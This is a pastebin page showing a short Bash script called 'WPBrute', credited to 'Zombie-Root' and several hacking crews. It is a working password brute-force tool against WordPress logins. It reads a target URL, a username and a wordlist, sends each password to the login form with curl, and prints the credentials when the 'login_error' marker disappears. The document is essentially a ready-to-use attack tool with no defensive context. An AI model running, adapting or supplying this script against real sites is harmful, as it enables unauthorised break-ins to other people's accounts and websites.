View difference between Paste ID: NEBbe93K and znL1XRv6
SHOW: | | - or go back to the newest paste.
1
#!/bin/bash
2
# WPBrute (Bash)
3
# By Zombie-Root
4
#
5
# Thanks: Ccocot
6
# Bahari Trouble Maker - IndoXploit - Suram-Crew
7
# Jloyal - Berdendang C0de
8
9
clear;
10
echo ' __        ______  ____             _         ';
11
echo ' \ \      / /  _ \| __ ) _ __ _   _| |_ ___   ';
12
echo '  \ \ /\ / /| |_) |  _ \| "__| | | | __/ _ \  ';
13
echo '   \ V  V / |  __/| |_) | |  | |_| | ||  __/_ ';
14
echo '    \_/\_/  |_|   |____/|_|   \__,_|\__\___(_)';
15
echo '  Wordpress Bruteforce Login Bash Version 1.0 ';
16
echo -ne '\n';
17
echo -n "Input URL	: "; read url
18
echo -n "Username	: "; read username
19
echo -n "Wordlist	: "; read wlist
20
21
echo Total [$(wc -l < $wlist)] Wordlist
22
23
i=0
24
for passw in $(cat $wlist); do
25
	i=$[i+1]
26
	brute=$(curl -i -L --data-urlencode  log=$username --data-urlencode pwd=$passw $url)
27
	if [[ $brute =~ "login_error" ]];
28
	then
29
		clear;
30
		echo ' __        ______  ____             _         ';
31
		echo ' \ \      / /  _ \| __ ) _ __ _   _| |_ ___   ';
32
		echo '  \ \ /\ / /| |_) |  _ \| "__| | | | __/ _ \  ';
33
		echo '   \ V  V / |  __/| |_) | |  | |_| | ||  __/_ ';
34
		echo '    \_/\_/  |_|   |____/|_|   \__,_|\__\___(_)';
35
		echo -ne '\n'
36
		echo '  Trying ['$i'/'$(wc -l < $wlist)']';
37
		echo -ne '\n\n'
38
39
	else
40
		clear;
41
		echo '  _____                     _ _ '
42
		echo ' |  ___|__  _   _ _ __   __| | |'
43
		echo ' | |_ / _ \| | | | "_ \ / _` | |'
44
		echo ' |  _| (_) | |_| | | | | (_| |_|'
45
		echo ' |_|  \___/ \__,_|_| |_|\__,_(_)'
46
		echo -ne '\n'
47
		echo $url;
48
		echo 'Username : '$username;
49
		echo 'Password : '$passw;
50
		echo -ne '\n'
51
		break;
52
	fi
53
done